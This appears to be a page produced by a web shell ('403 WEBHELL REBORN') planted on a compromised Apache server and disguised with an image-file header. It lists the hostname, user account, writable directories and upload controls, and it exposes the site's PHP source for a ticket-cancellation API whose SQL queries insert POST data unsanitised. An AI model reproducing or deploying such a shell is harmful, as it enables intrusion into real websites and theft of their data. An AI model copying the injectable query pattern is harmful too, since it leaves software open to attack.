ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/api/tk_api_cancel_request_ajax.php
<?php
	header("Content-Type: application/json");
	$g4_path = "..";

	include "common.php"; // API Common
	include "../admin/_common.php"; // Admin Common

	/*******************************************************************/
	// 짚라인에서 취소된 건을 TK에 반영                                 //
	// FLOW : Zipline  >> TK                                                //
	// CALL :  ajax                                                            //
	/*******************************************************************/

	// 개발 모드 설정 ★ 실제 운영 시 주의 ★
	$allow_addr = array(
		'119.67.250.2033', // 집
		'14.6.87.1933' // TK사무실
	);
	if(in_array($_SERVER['REMOTE_ADDR'], $allow_addr) == true){
		define('DEV_MODE', '1');
		echo "###############################\n";
		echo "########## 개발 모드 ##########\n";
		echo "###############################\n";
	} else {
		define('DEV_MODE', '0');
	}

	// 시작일시설정
	$cron_stime = "2022-03-26 00:01:00";

	if(DEV_MODE) echo ("===== TKPLACE - ZIPLINE : CANCEL REQUEST API START =====\n");
	Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "API START"), 'cancel', 'tk/'.date('Ym'));

	// 호출하는 곳 : 일일예약현황
	$mode				= $_POST['mode'];
	$branch				= $_POST['branch']; // branch 코드 mg, yi, ad
	$res_id				= $_POST['res_id'];
	$cancel_reason		= $_POST['cancel_reason']; // 취소사유

	Log::save(sprintf("%s(%d) mode %s / branch %s / res_id %s", __FILE__, __LINE__, $mode, $branch, $res_id), 'cancel', 'tk/'.date('Ym'));

	$sql = "select * from g4_write_reserve where res_branch = '".$branch."' AND res_id = '".$res_id."' LIMIT 1";
	$row_res = sql_fetch($sql);

	$tk_res_no = $row_res['tk_res_no']; // TK 예약번호
	$res_partner = $row_res['res_partner']; // 외부연동코드

	// 상태 검사
	if(!$row_res){
		$result = array(
			'status' => 400,
			'status_message' => '예약건의 상태가 올바르지 않습니다.'
		);
	} else if($mode == 'CANCEL_REQUEST' && $row_res['res_cancel'] == 'R'){
		$result = array(
			'status' => 400,
			'status_message' => '이미 취소 요청중인 예약건 입니다.'
		);
	} else if($mode == 'RETRACT' && $row_res['res_cancel'] == ''){
		$result = array(
			'status' => 400,
			'status_message' => '취소 요청된 예약건이 아닙니다.'
		);
	} else if($row_res['res_cancel'] == 'Y'){
		$result = array(
			'status' => 400,
			'status_message' => '이미 취소된 예약건 입니다.'
		);
	} else if($res_partner != 'TK_API' || $tk_res_no == ''){
		$result = array(
			'status' => 400,
			'status_message' => 'TK 연동 정보가 올바르지 않습니다.' . $res_partner
		);
	}

	// API 호출
	if(!$result){

		Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "API CALL"), 'cancel', 'tk/'.date('Ym'));

		if($mode == 'CANCEL_REQUEST'){ // 취소요청
			$path = "/zipline/event-cancel-request/";
		} else if($mode == 'RETRACT'){ // 철회
			$path = "/zipline/event-cancel-retract/";
		}

		$call_data = array(
			"site_id"				=> $branch,
			"tk_res_no"			=> $tk_res_no,
			"cancel_reason"		=> $cancel_reason
		);

		$result = call($path, $call_data);
		$data = array();

		if($result['status'] == 200){

			Log::save(sprintf("%s(%d) REQUEST SUCCESS %s", __FILE__, __LINE__, serialize($result)), 'cancel', 'tk/'.date('Ym'));

			if($mode == 'CANCEL_REQUEST'){ // 취소요청
				$sql = "
					UPDATE g4_write_reserve SET res_cancel = 'R', res_cancel_reason = '{$cancel_reason}' where res_id = '{$res_id}' limit 1";
			} else if($mode == 'RETRACT'){ // 철회
				$sql = "
					UPDATE g4_write_reserve SET res_cancel = '' where res_id = '{$res_id}' limit 1";
			}

			sql_query($sql);

			Log::save(sprintf("%s(%d) g4_write_reserve Update %s", __FILE__, __LINE__, $sql), 'cancel', 'tk/'.date('Ym'));
		}

	} else {
		Log::save(sprintf("%s(%d) ERROR : %s", __FILE__, __LINE__, $result['status_message']), 'cancel', 'tk/'.date('Ym'));
	}

	echo json_encode($result);

?>

Anon7 - 2021